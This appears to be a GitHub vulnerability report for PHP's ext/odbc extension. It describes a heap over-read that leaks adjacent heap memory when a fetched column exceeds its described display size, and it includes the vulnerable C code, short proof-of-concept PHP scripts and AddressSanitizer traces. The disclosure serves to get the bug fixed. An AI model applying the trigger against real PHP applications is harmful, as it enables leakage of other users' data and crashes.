Skip to content

Heap buffer over-read (heap memory disclosure) in ext/odbc when fetching a result column whose value is longer than its described display size (odbc_fetch_array() / odbc_fetch_object() / odbc_fetch_into() / odbc_result()) #22668

Description

@cxxz16

Description

Summary

ext/odbc binds a fixed-size buffer for each result column based on the display size the ODBC driver reports at describe time, but on fetch it trusts the driver-reported value length (vallen) unconditionally when building the PHP string. When the actual column value is longer than the bound buffer, the ODBC driver truncates the data into the buffer and reports the full, untruncated length in the indicator (this is the standard ODBC SQL_SUCCESS_WITH_INFO / SQLSTATE 01004 "string data, right truncated" contract). PHP then calls ZVAL_STRINGL() with that full length and reads past the end of the bound heap buffer.

The over-read bytes are returned to userland as the column's string value, so this is a heap memory disclosure (adjacent heap contents leak into the PHP value) that can also crash the process. It is reachable with an ordinary, non-malicious ODBC driver (verified with the standard SQLite3 ODBC driver) and requires no malicious local driver, FFI, callback, or object-lifecycle misuse — only that a fetched column value exceeds the driver-reported display size. The amount disclosed scales with the size of the value (a stored 1 MiB value over-reads ~1 MiB of heap).

This is the same class of bug as CVE-2024-8929 (mysqlnd heap over-read leaking heap memory through an attacker-influenced length), which was rated High.

Details

For each result column, odbc_bindcols() allocates displaysize + 1 bytes and binds that buffer with SQLBindCol(), passing &result->values[i].vallen as the indicator pointer:

ext/odbc/php_odbc.c (around lines 768–779):

            if (charextraalloc) {
                /* Since we don't know the exact # of bytes, allocate extra */
                displaysize *= 4;
            }
            result->values[i].value = (char *)emalloc(displaysize + 1);
            rc = SQLBindCol(result->stmt, (SQLUSMALLINT)(i+1), SQL_C_CHAR, result->values[i].value,
                        displaysize + 1, &result->values[i].vallen);
            break;

On fetch, php_odbc_fetch_hash() checks vallen only against the SQL_NULL_DATA and SQL_NO_TOTAL sentinels, then passes it straight to ZVAL_STRINGL() without verifying that it fits inside the displaysize + 1 buffer:

ext/odbc/php_odbc.c (around lines 1486–1496):

            default:
                if (result->values[i].vallen == SQL_NULL_DATA) {
                    ZVAL_NULL(&tmp);
                    break;
                } else if (result->values[i].vallen == SQL_NO_TOTAL) {
                    php_error_docref(NULL, E_WARNING, "Cannot get data of column #%d (driver cannot determine length)", i + 1);
                    ZVAL_FALSE(&tmp);
                    break;
                }
                ZVAL_STRINGL(&tmp, result->values[i].value, result->values[i].vallen);   // <-- reads vallen bytes from a (displaysize+1) buffer
                break;

When the stored value is longer than displaysize + 1, a conforming driver:

  1. copies only displaysize + 1 bytes (truncated, NUL-terminated) into result->values[i].value, and
  2. sets result->values[i].vallen to the full length the value would have needed, returning SQL_SUCCESS_WITH_INFO.

PHP does not look at the return code or compare vallen against the bound capacity, so ZVAL_STRINGL(value, vallen) reads vallen - (displaysize + 1) bytes past the end of the heap allocation. The leaked bytes become the PHP string value returned to the caller.

The identical trust pattern is present at the other fetch entry points and should be fixed together:

  • odbc_fetch_into()ext/odbc/php_odbc.c (around lines 1654–1663)
  • odbc_result()ext/odbc/php_odbc.c (around lines 1903–1913), reproduced as RETURN_STRINGL(value, vallen)

The same code paths are present on the current master branch (verified 2026-04-13): the binding still allocates displaysize + 1, and the fetch paths still call ZVAL_STRINGL(value, vallen) / RETURN_STRINGL(value, vallen) with no clamp against the bound capacity. The charextraalloc workaround only multiplies displaysize by 4 for drivers that cannot report octet length; it does not bound the read to the allocated buffer, so a sufficiently large value (e.g. a stored BLOB/TEXT) still over-reads.

PoC

Environment:

  • PHP 8.4.20 (CLI), built with --enable-debug and AddressSanitizer (CFLAGS="-fsanitize=address -g -O0"), ext/odbc enabled.
  • unixODBC 2.3.9.
  • The ordinary SQLite3 ODBC driver from Ubuntu 22.04 libsqliteodbc (/etc/odbcinst.ini):
[SQLite3]
Description=SQLite3 ODBC Driver
Driver=libsqlite3odbc.so
Setup=libsqlite3odbc.so

PoC script (odbc001.php). The 257-byte expression result is bound into a 256-byte buffer, so the fetch over-reads by one byte; the same bug scales to megabytes with a stored value:

<?php
$conn = odbc_connect('Driver=SQLite3;Database=/tmp/odbc_audit.sqlite', null, null);
$result = odbc_exec($conn, "SELECT printf('%.*c', 257, 'A') AS data");
odbc_fetch_array($result);

Run:

ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
php odbc001.php

Full AddressSanitizer output:

=================================================================
==1135588==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000017700 at pc 0x7f85f49d5397 bp 0x7ffce0570450 sp 0x7ffce056fbf8
READ of size 257 at 0x511000017700 thread T0
    #0 0x7f85f49d5396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x55b461f2aff1 in zend_string_init /src/php/Zend/zend_string.h:200
    #2 0x55b461f43344 in php_odbc_fetch_hash /src/php/ext/odbc/php_odbc.c:1495
    #3 0x55b461f43bec in zif_odbc_fetch_array /src/php/ext/odbc/php_odbc.c:1529
    #4 0x55b46315d4d4 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /src/php/Zend/zend_vm_execute.h:1287
    #5 0x55b4634629b0 in execute_ex /src/php/Zend/zend_vm_execute.h:58896
    #6 0x55b46348282d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
    #7 0x55b46371ea0d in zend_execute_script /src/php/Zend/zend.c:1934
    #8 0x55b462bb88ab in php_execute_script_ex /src/php/main/main.c:2577
    #9 0x55b462bb8e41 in php_execute_script /src/php/main/main.c:2617
    #10 0x55b463726ff5 in do_cli /src/php/sapi/cli/php_cli.c:935
    #11 0x55b463729b87 in main /src/php/sapi/cli/php_cli.c:1310
    #12 0x7f85edc45d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
    #13 0x7f85edc45e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
    #14 0x55b46100f2e4 in _start (/src/php/sapi/cli/php+0x360f2e4)

0x511000017700 is located 0 bytes to the right of 256-byte region [0x511000017600,0x511000017700)
allocated by thread T0 here:
    #0 0x7f85f4a4f887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55b462f2efa1 in __zend_malloc /src/php/Zend/zend_alloc.c:3294
    #2 0x55b462f29abd in _emalloc /src/php/Zend/zend_alloc.c:2740
    #3 0x55b461f36621 in odbc_bindcols /src/php/ext/odbc/php_odbc.c:777
    #4 0x55b461f404d5 in zif_odbc_exec /src/php/ext/odbc/php_odbc.c:1352
    #5 0x55b46315e480 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /src/php/Zend/zend_vm_execute.h:1351
    #6 0x55b463462a23 in execute_ex /src/php/Zend/zend_vm_execute.h:58901
    #7 0x55b46348282d in zend_execute /src/php/Zend/zend_vm_execute.h:64328
    #8 0x55b46371ea0d in zend_execute_script /src/php/Zend/zend.c:1934
    #9 0x55b462bb88ab in php_execute_script_ex /src/php/main/main.c:2577
    #10 0x55b462bb8e41 in php_execute_script /src/php/main/main.c:2617
    #11 0x55b463726ff5 in do_cli /src/php/sapi/cli/php_cli.c:935
    #12 0x55b463729b87 in main /src/php/sapi/cli/php_cli.c:1310
    #13 0x7f85edc45d8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0a227fffae90: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0a227fffaea0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0a227fffaeb0: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0a227fffaec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0a227fffaed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0a227fffaee0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0a227fffaef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Aborted

The same crash reproduces, with a correspondingly larger READ of size N, when the oversized value is stored data rather than an expression — for example a 1 MiB BLOB/TEXT value stored in an ordinary table and then selected and fetched. In that case the over-read is ~1 MiB past the 256-byte bound buffer. The over-read is reached through the common fetch APIs odbc_fetch_array(), odbc_fetch_object(), odbc_fetch_into(), and odbc_result().

Confirmation that the over-read bytes reach userland

To show that the out-of-bounds bytes are not merely read but are returned to PHP as part of the column value, the same fetch can be run with ASAN_OPTIONS=halt_on_error=0 so ASAN reports the over-read but lets execution continue, then the returned string is inspected:

<?php
$conn = odbc_connect('Driver=SQLite3;Database=/tmp/odbc_audit.sqlite', null, null);
$result = odbc_exec($conn, "SELECT printf('%.*c', 320, 'A') AS data"); // full value = 320 'A'
$row = odbc_fetch_array($result);
$s = $row['data'];
fwrite(STDERR, "returned strlen   : " . strlen($s) . "\n");
fwrite(STDERR, "count of 'A'      : " . substr_count($s, 'A') . "\n");
fwrite(STDERR, "non-value bytes   : " . (strlen($s) - substr_count($s, 'A')) . "\n");

Output (with ASAN_OPTIONS=detect_leaks=0:halt_on_error=0:abort_on_error=0):

==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
READ of size 320 at 0x... thread T0
...
returned strlen   : 320
count of 'A'      : 255
non-value bytes   : 65

The bound buffer holds only the truncated value (255 A bytes), but the PHP string handed back to the application is vallen = 320 bytes long, so 65 bytes that are not part of the queried value are read from beyond the bound buffer and returned to userland as the column value. This is the memory-disclosure path: any PHP code reading the column receives those out-of-bounds bytes.

Note on observed content: under this AddressSanitizer build the 65 out-of-bounds bytes read back as zero, because ASAN surrounds each allocation with a poisoned red-zone. In a normal (non-ASAN) build the Zend allocator packs allocations of the same size class together without red-zones, so the same over-read returns the contents of adjacent live heap allocations (e.g. data left by previous requests in a long-running FPM worker) — the same memory-disclosure behavior described for the analogous mysqlnd over-read in CVE-2024-8929.

Impact

This is an out-of-bounds heap read (CWE-125) that results in disclosure of adjacent heap memory (CWE-200) and can also crash the process (denial of service).

Who is impacted: any application that uses ext/odbc to fetch result rows and where a fetched column value can exceed the display size the driver reports for that column. The triggering value is data flowing through the result set, so the attacker only needs the ability to influence a stored/returned column value (for example a value written earlier through a low-privileged path, or a value returned by a malicious/compromised database endpoint) — no control over the application's PHP code, the ODBC driver, or call ordering is required. Because the over-read bytes are returned to userland as the string value, an attacker who can read that value back obtains a direct heap memory leak whose size scales with the supplied value length; the same condition can crash a long-running worker, affecting availability.

PHP Version

php<=8.5.6

Operating System

ubuntu22.04

Metadata

Metadata

Assignees

Type

No type

Fields

No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions